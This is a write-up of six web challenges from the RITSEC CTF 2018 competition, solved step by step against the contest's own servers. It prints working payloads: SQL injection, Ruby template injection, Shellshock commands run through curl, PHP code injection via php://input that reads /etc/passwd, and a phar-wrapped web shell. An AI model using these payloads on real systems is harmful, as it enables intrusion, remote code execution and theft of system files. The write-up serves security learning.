Tuesday, November 20, 2018

RITSEC CTF 2018 - Web

Table of Contents

Space Force (100)

The first challenge was basic SQLi:
' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}

The Tangled Web (200):

This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/

Looking for files containing the term flag:

$ grep -ri 'flag' .

fun.ritsec.club:8007/Waving.html
17:        <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>

fun.ritsec.club:8007/Fl4gggg1337.html
18:    <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>

Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:

$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Decoding the base64, we get the flag!

$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Crazy Train (250):

This webapp had an article list & submission:

The title of this challenge & 404 page revealed it's a rails app:

Submitting a new article resulted in an interesting hidden parameter with an empty value:

..&article[a]=&..

With no value specified the POST would result in a blank page.

If we add a value to article[a] it reflects back to the client:

..&article[a]=AAAA&..

AAAA

Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):

..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..

AAAA49BBBB

Looks like it worked! Let's try something more productive:

..&article[a]=Dir["./*"].to_s&..

["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
 "./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
 "./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]

Now just read the flag:

..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}

What a cute dog! (350):

This web challenge had a minimal page with some linux output:

Looks like command injection. Looking in the source we can see the cgi-bin script used:

<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>

Visiting the cgi-bin script directly we get the same stats output as the home page.

If we curl the cgi script with shellshock in the User-Agent header, we get command execution:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking for flag.txt on the server, we find it in /opt:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

/opt/flag.txt

Then we just read the flag:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}

Lazy Dev (400):

This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Sounds like devsrule.php contains a backdoor.

If we look at that page, we see:

$ curl http://fun.ritsec.club:8007/devsrule.php

Not what you input eh?
This param is 'magic' man.

This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:

$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1

Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(

So we know it must have something to do with this magic param as mentioned in the description.

The next part took a while to figure out, but it's also mentioned in the description. The only other word which stands out is 'input'.

PHP contains a special wrapper 'input://' which can take 'stdin' from POST data. Adding this with the magic parameter, and a webshell in the POST data, we get what we would expect:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'

Not what you input eh?<br>This param is 'magic' man.<br><br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Grabbing the users, we see joker, which may be where the flag is:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin

Looking in joker's home directory we see a flag.txt, and cat it:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

Archivr (300):

The first bug was found very quickly. After visiting one of the pages, we get a URL like:

http://fun.ritsec.club:8004/index.php?page=upload

This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:

$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K

This decodes to:

<?php
  include("classes.php.inc");
  include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>

We can see why the LFI happened, now what does upload do? The main chunk of code is:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    }
    $filename = $_FILES['upload']['name'];


    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
        }
    } else {
        $ext = ".dat";
    }

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());
    }

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;
}
?>

It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/ directory with the md5 value of time().

The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'

Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.27.0.2:80           10.0.10.254:45996       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46396       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46096       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45826       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46524       SYN_RECV
tcp        0      0 172.27.0.2:80           10.0.10.254:46794       ESTABLISHED
tcp        0      0 172.27.0.2:80           10.0.10.254:46520       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46246       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45944       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46076       TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
Proto RefCnt Flags       Type       State         I-Node   Path</pre>

The target internal IP is:

10.0.10.254

Next we can upload a simple web-shell and include it using the PHP wrapper phar://.

The web-shell (shell.php):

<pre><? echo system($_GET['cmd']); ?></pre>

Zipping the web-shell for usage with phar:

$ zip -0 shell.zip shell.php

After uploading shell.zip we get the current time with a .zip extension: 1542574010.zip.

The new filename will be md5(time()) or md5('1542574010'):

$ echo -n 1542574010 | md5

61fda3e4ccb1a54721aa8b42519de46e

The upload directory will be the md5 hash of the internal IP we found:

$ echo -n 10.0.10.254 | md5

98d3cbed97b0bc491c000455c9f8e6fb

Combining this all together, using the same url as the LFI with phar:// instead of php://filter, we can list the directory:

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls

...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...

Looks like we have the flag!

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}